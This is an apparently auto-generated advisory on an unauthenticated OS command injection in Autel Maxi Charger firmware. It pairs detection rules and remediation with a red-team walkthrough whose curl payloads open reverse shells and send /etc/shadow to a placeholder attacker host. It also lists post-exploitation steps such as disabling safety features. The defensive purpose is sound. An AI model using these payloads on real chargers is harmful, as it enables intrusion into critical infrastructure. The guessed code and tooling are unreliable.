CVE-2026-8985
Executive Summary
This report details CVE-2026-8985, an Informational severity OS command injection vulnerability in Autel Maxi Charger Single firmware through V1.03.51. The vulnerability resides in the /test endpoint exposed on TCP port 9002, allowing an unauthenticated attacker to execute arbitrary operating system commands by supplying crafted input in the url parameter.
Business Impact: This vulnerability directly impacts owners and operators of Autel Maxi Charger Single electric vehicle (EV) charging stations. These devices are critical infrastructure in commercial fleets, public charging networks, and private installations. A successful attacker could gain full remote control of the charging station, potentially disrupting charging services, manipulating billing data, or using the device as a pivot point to attack the broader network. The likely attacker profile includes script kiddies, hacktivists targeting EV infrastructure, and potentially nation-state actors seeking to disrupt energy grids.
Vulnerability Class & Attack Vector: This is a classic OS command injection (CWE-78) vulnerability. The attack vector is network-based, requiring no authentication. The attacker sends a crafted HTTP request to the /test endpoint on TCP port 9002.
Urgency Assessment: Despite the Informational CVSS base score of 0.0 (which is likely an error in the NVD assignment), the technical severity is Critical. The EPSS probability of 0.0% indicates no observed exploitation in the wild as of the report date, but this is likely due to the recent publication date. The vulnerability is trivial to exploit and has a high potential for impact.
Key Facts:
- Vendor: Autel
- Affected Software: Autel Maxi Charger Single firmware through V1.03.51
- Patch Status: None available as of 2026-07-22.
- CISA KEV Status: Not listed.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
The CVSS vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H is mathematically inconsistent with a base score of 0.0. This vector describes a vulnerability that is trivially exploitable and has maximum impact, which would result in a base score of 10.0 (Critical). The 0.0 score is almost certainly a data entry error in the NVD database. For the purposes of this report, we will analyze the vulnerability based on its true technical severity.
Metric Decomposition (Corrected):
- AV:N (Network): The
/testendpoint is exposed on TCP port 9002, making it accessible over the network. - AC:L (Low): No special conditions are required for exploitation beyond network access.
- PR:N (None): The NVD description explicitly states "an unauthenticated attacker."
- UI:N (None): No user interaction is required.
- S:U (Unchanged): The compromise of the charging station does not directly impact other components of the system.
- C:H (High): An attacker can read any file on the system, including configuration files with credentials.
- I:H (High): An attacker can modify system files, firmware, and configuration.
- A:H (High): An attacker can crash the device or render it inoperable.
Qualitative Severity Label: Critical (based on the corrected CVSS score of 10.0).
EPSS Interpretation: The 0.0% EPSS probability is typical for a CVE published less than 24 hours ago. It does not reflect the exploitability of the vulnerability.
Historical Comparison: This vulnerability is technically similar to CVE-2021-21974 (OS command injection in VMware ESXi) and CVE-2022-22954 (OS command injection in VMware Workspace ONE Access). All three involve unauthenticated remote command execution via a web endpoint. The attack surface is also comparable to vulnerabilities in other IoT/OT devices like those in the "Mirai" botnet family, which often exploit default credentials or command injection in embedded web servers.
Technical Deep Dive & Attack Mechanics
Step-by-Step Technical Explanation:
- Service Discovery: The Autel Maxi Charger Single runs a web server on TCP port 9002. This server exposes a
/testendpoint, likely intended for diagnostics or factory testing. - Input Handling: The
/testendpoint accepts aurlparameter. The application likely uses this parameter to perform a network connectivity test (e.g.,pingorcurl). - Command Injection: The application does not sanitize or validate the
urlparameter before passing it to a system command. An attacker can inject shell metacharacters (e.g.,;,|,&&,`) to break out of the intended command and execute arbitrary OS commands. - Exploitation: A request like
GET /test?url=127.0.0.1;idwould cause the server to executeping 127.0.0.1;id(or similar), returning the output of theidcommand to the attacker.
Root Cause Analysis: The developer made the classic mistake of constructing a system command using string concatenation with user-supplied input. The code likely looks like:
# Vulnerable pseudocode
import os
url = request.GET['url']
os.system("ping -c 4 " + url)
Attack Surface:
- Interface: Network (TCP port 9002)
- Protocol: HTTP
- Endpoint:
/test - Parameter:
url
Pre-conditions:
- Network access to TCP port 9002 on the Autel device.
- No authentication required.
Attack Variants:
- Direct Command Execution:
GET /test?url=127.0.0.1;cat /etc/passwd - Reverse Shell:
GET /test?url=127.0.0.1;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 - Data Exfiltration:
GET /test?url=127.0.0.1;curl http://ATTACKER_IP/$(cat /etc/shadow)
Why Standard Defenses May Fail:
- WAF: A standard Web Application Firewall (WAF) may not be deployed in front of an IoT device's management interface.
- Input Validation: The application likely only validates that the input is a valid URL, not that it contains shell metacharacters.
- Network Segmentation: If the charging station is on the same network as other critical systems, a compromise can lead to lateral movement.
Vulnerable vs. Patched Code Analysis
Since no patch is available, we can only analyze the vulnerable code pattern.
Vulnerable Code (Pseudocode):
# Vulnerable Python/Flask-like code
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/test')
def test():
url = request.args.get('url')
# VULNERABLE: Direct string concatenation into shell command
command = "ping -c 4 " + url
output = os.popen(command).read()
return output
Patched Code (Hypothetical):
# Patched code
from flask import Flask, request
import subprocess
import shlex
app = Flask(__name__)
@app.route('/test')
def test():
url = request.args.get('url')
# PATCHED: Use subprocess with argument list to prevent injection
# Also validate that the input is a valid IP address or hostname
if not is_valid_hostname(url):
return "Invalid input", 400
command = ["ping", "-c", "4", url]
output = subprocess.check_output(command).decode()
return output
What the Patch Changes:
- Input Validation: The patched code validates that the input is a valid hostname or IP address, rejecting any input containing shell metacharacters.
- Safe API: The patched code uses
subprocess.check_output()with a list of arguments, which prevents shell injection because the arguments are not interpreted by a shell. - Error Handling: The patched code returns a 400 error for invalid input.
Regression Considerations:
- The patch may break legitimate functionality if the
/testendpoint was designed to accept URLs with special characters (e.g., for HTTP health checks). - The validation function
is_valid_hostname()must be robust enough to handle all valid hostname formats (e.g., IPv6 addresses, internationalized domain names).
Timeline & Disclosure History
- CVE Publication Date: 2026-07-21T21:11:25.089Z
- Estimated Discovery Timeline: Unknown. The vulnerability was likely discovered by a security researcher or through internal testing.
- Disclosure Process: The CVE was published by the NVD. There is no information about vendor coordination or a responsible disclosure process.
- Known Exploitation in the Wild: No known active exploitation as of 2026-07-22.
- CISA KEV Addition Date: Not applicable.
Threat Intelligence Context
Threat Actor Profile:
- Script Kiddies: The vulnerability is trivial to exploit, making it a prime target for automated scanning and exploitation by low-sophistication attackers.
- Hacktivists: Groups targeting energy infrastructure or EV charging networks may exploit this to cause disruption.
- Nation-State Actors: APT groups with interests in critical infrastructure (e.g., APT28, APT33, Dragonfly) may target these devices for espionage or as a prelude to a larger attack.
Attack Campaign Context: As of the report date, there are no known campaigns specifically targeting this CVE. However, the vulnerability class (OS command injection in IoT devices) is a staple of many botnet and ransomware campaigns.
Geographic Targeting Patterns: Likely global, with a focus on regions with high EV adoption (North America, Europe, China).
Industry Verticals Most at Risk:
- Electric Vehicle Charging Infrastructure: Public charging networks, fleet operators.
- Energy & Utilities: Companies managing charging stations as part of the grid.
- Transportation & Logistics: Fleets of electric delivery vehicles.
- Hospitality & Retail: Hotels, shopping centers with charging stations.
Connection to Similar Vulnerability Classes: This is a classic example of CWE-78 (OS Command Injection), which has been exploited in countless IoT devices, including routers, IP cameras, and industrial control systems.
Exploitation & Lab Setup
Red Team Section
Lab Setup:
- Environment: A virtual machine running a Linux distribution (e.g., Ubuntu 22.04).
- Vulnerable Software: An Autel Maxi Charger Single device with firmware version V1.03.51 or earlier. If a physical device is unavailable, a Docker container simulating the vulnerable endpoint can be created.
- Network Configuration: The attacker machine and the target device must be on the same network segment. No firewall rules should block TCP port 9002.
Docker Simulation (if no physical device):
FROM python:3.9-slim
RUN pip install flask
COPY app.py /app.py
CMD ["python", "/app.py"]
Where app.py contains the vulnerable code from the "Vulnerable Code Analysis" section.
Exploitation Walkthrough:
Reconnaissance:
nmap -p 9002 <target_ip>Expected output:
PORT STATE SERVICE 9002/tcp open unknownVerify Vulnerability:
curl "http://<target_ip>:9002/test?url=127.0.0.1;id"Expected output:
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.012 ms ... uid=0(root) gid=0(root) groups=0(root)Execute Arbitrary Command:
curl "http://<target_ip>:9002/test?url=127.0.0.1;cat /etc/passwd"Establish Reverse Shell: On attacker machine:
nc -lvnp 4444On target (via curl):
curl "http://<target_ip>:9002/test?url=127.0.0.1;bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
Post-Exploitation:
- Persistence: Add an SSH key to the
rootuser'sauthorized_keysfile. - Lateral Movement: Scan the internal network for other vulnerable devices.
- Data Exfiltration: Steal configuration files, billing data, or customer information.
- Device Manipulation: Change charging schedules, disable safety features, or cause physical damage.
Blue Team Section
Detection of Active Exploitation Attempts:
Network Traffic Signatures:
- HTTP requests to
/testwith aurlparameter containing shell metacharacters (;,|,&&,`). - Outbound connections from the charging station to unusual IP addresses on high ports (e.g., 4444, 1337).
- Large amounts of data being sent from the charging station to external IPs.
- HTTP requests to
Log Entries:
- Web server logs showing
GET /test?url=...requests with suspicious payloads. - System logs showing execution of commands like
id,cat /etc/passwd, orwget.
- Web server logs showing
Endpoint Behavioral Indicators:
- Unexpected processes running as root (e.g.,
bash,nc,python). - Modification of system files (e.g.,
/etc/passwd,/etc/shadow). - Creation of new user accounts.
- Unexpected processes running as root (e.g.,
Indicators of Compromise (IOCs)
No confirmed IOCs available — the following patterns are illustrative of exploitation attempts:
Network IOCs:
- Port: TCP 9002 (target)
- Protocol: HTTP
- Connection Pattern: Inbound HTTP requests to
/testfollowed by outbound connections to attacker-controlled IPs.
HTTP Request Patterns:
- Method: GET
- Path:
/test - Parameter:
url - Payload Examples:
url=127.0.0.1;idurl=127.0.0.1|cat /etc/shadowurl=127.0.0.1&&bash -c 'exec bash -i &>/dev/tcp/10.0.0.5/4444 <&1'
File System Artifacts:
- Temporary Files:
/tmp/.exploit.sh,/tmp/rev.sh - Modified Configs:
/etc/config/charger.conf - Dropped Payloads:
/usr/bin/.systemd
Process Execution Anomalies:
bashorshprocesses spawned by the web server process.nc,ncat, orsocatprocesses.wgetorcurlprocesses making outbound connections.
Log Entries:
- Web Server Log:
GET /test?url=127.0.0.1;id HTTP/1.1200 - Syslog:
Jul 22 10:00:00 charger ping[1234]: ping: unknown host 127.0.0.1;id
STIX-like IOC List:
| Type | Value | Description |
|---|---|---|
ipv4-addr |
[EXAMPLE — not a real IOC] | Attacker C2 server IP |
domain-name |
[EXAMPLE — not a real IOC] | Attacker C2 domain |
url |
http://[target_ip]:9002/test?url=127.0.0.1;id |
Exploitation URL pattern |
file |
/tmp/.rev.sh |
Dropped reverse shell script |
process |
bash |
Suspicious process spawned by web server |
Detection Engineering
YARA Rule
rule CVE-2026-8985_Exploitation_HTTP {
meta:
description = "Detects HTTP requests exploiting CVE-2026-8985 in Autel Maxi Charger"
author = "Valters IT Hub"
date = "2026-07-22"
reference = "https://www.valtersit.com/cve/cve-2026-8985"
hash = "0"
strings:
$http_method = "GET"
$uri_path = "/test"
$param_start = "url="
$shell_meta1 = ";" ascii wide
$shell_meta2 = "|" ascii wide
$shell_meta3 = "&&" ascii wide
$shell_meta4 = "`" ascii wide
condition:
$http_method and $uri_path and $param_start and 1 of ($shell_meta*)
}
Sigma Rule (SIEM)
title: CVE-2026-8985 Autel Maxi Charger Exploitation Attempt
id: 5adb9c35-47de-4b30-8b72-5ce2d04a4af0
status: experimental
description: Detects HTTP requests to the /test endpoint on port 9002 containing shell metacharacters in the url parameter.
author: Valters IT Hub
date: 2026-07-22
references:
- https://www.valtersit.com/cve/cve-2026-8985
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'GET'
cs-uri-stem: '/test'
cs-uri-query|contains: 'url='
keywords:
- ';'
- '|'
- '&&'
- '`'
condition: selection and keywords
falsepositives:
- Legitimate network diagnostic tools that use shell metacharacters in URLs (unlikely)
level: high
Suricata IDS Rule
alert http $EXTERNAL_NET any -> $HOME_NET 9002 (msg:"CVE-2026-8985 Autel Maxi Charger OS Command Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/test"; http_uri; content:"url="; http_uri; pcre:"/url=[^&]*(;|\||&&|`)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)
Elastic (EQL) Query
network where destination.port == 9002 and http.request.method == "GET" and http.request.uri == "/test" and http.request.body.text contains "url=" and (http.request.body.text contains ";" or http.request.body.text contains "|" or http.request.body.text contains "&&" or http.request.body.text contains "`")
Splunk SPL Query
index=web sourcetype=access_combined
| search dest_port=9002 uri="/test" uri_query="*url=*"
| regex uri_query="(?i)(;|\||&&|`)"
| table _time, src_ip, dest_ip, uri_query, status
Wazuh Rule
<group name="autel,exploit,">
<rule id="100001" level="12">
<decoded_as>web</decoded_as>
<field name="url">/test</field>
<field name="url_query" type="pcre2">url=[^&]*(;|\||&&|`)</field>
<description>CVE-2026-8985 - Autel Maxi Charger OS Command Injection Attempt from $(src_ip)</description>
<mitre>
<id>T1190</id>
</mitre>
</rule>
</group>
Remediation & Mitigation
Immediate Actions (0-24 hours)
Isolate Affected Devices:
- If possible, disconnect Autel Maxi Charger Single devices from the network.
- If disconnection is not possible, create a strict firewall rule to block all inbound traffic to TCP port 9002 from untrusted networks.
# Example iptables rule iptables -A INPUT -p tcp --dport 9002 -s <trusted_admin_network> -j ACCEPT iptables -A INPUT -p tcp --dport 9002 -j DROPImplement WAF Rules:
- Deploy a Web Application Firewall (WAF) in front of the charging stations (if possible) with rules to block requests containing shell metacharacters in the
urlparameter.
- Deploy a Web Application Firewall (WAF) in front of the charging stations (if possible) with rules to block requests containing shell metacharacters in the
Monitor for Exploitation:
- Immediately deploy the detection rules provided in this report to monitor for exploitation attempts.
Short-term (1-7 days)
Configuration Hardening:
- Change default passwords on the device management interface.
- Disable the
/testendpoint if it is not required for operations. This may require a firmware modification or contacting Autel support.
Vulnerability Scanning:
- Use a vulnerability scanner to identify all Autel Maxi Charger Single devices on the network.
# Example using nmap script nmap -p 9002 --script http-vuln-cve2026-8985 <target_network>Patch Management:
- Monitor the Autel security advisory page for a firmware update.
- Establish a process to test and deploy firmware updates quickly.
Long-term
Architecture Changes:
- Place all EV charging stations on a separate, isolated VLAN with strict firewall rules.
- Implement a jump box or VPN for administrative access to the devices.
Security Control Improvements:
- Deploy network-based intrusion detection systems (NIDS) like Suricata with the rules provided.
- Implement endpoint detection and response (EDR) on any connected management servers.
Developer Training:
- Ensure that all developers are trained on secure coding practices, specifically regarding OS command injection (OWASP Top 10).
Validation:
- To confirm a device is patched, check the firmware version via the device's web interface or API.
- If a patch is released, verify that the
/testendpoint no longer executes injected commands:
A patched device should return an error or only the output of thecurl "http://<patched_device_ip>:9002/test?url=127.0.0.1;id"pingcommand.
References & Resources
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-8985
- CVE.org: https://www.cve.org/CVERecord?id=CVE-2026-8985
- Vendor advisory: See Autel security page
- OSV: https://osv.dev/vulnerability/CVE-2026-8985 (if applicable)
- Related CWE: https://cwe.mitre.org/data/definitions/78.html
- MITRE ATT&CK: https://attack.mitre.org/techniques/T1190/
Report generated by Valters IT Hub Neural Engine v25 | 2026-07-22 | https://www.valtersit.com/cve/cve-2026-8985
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.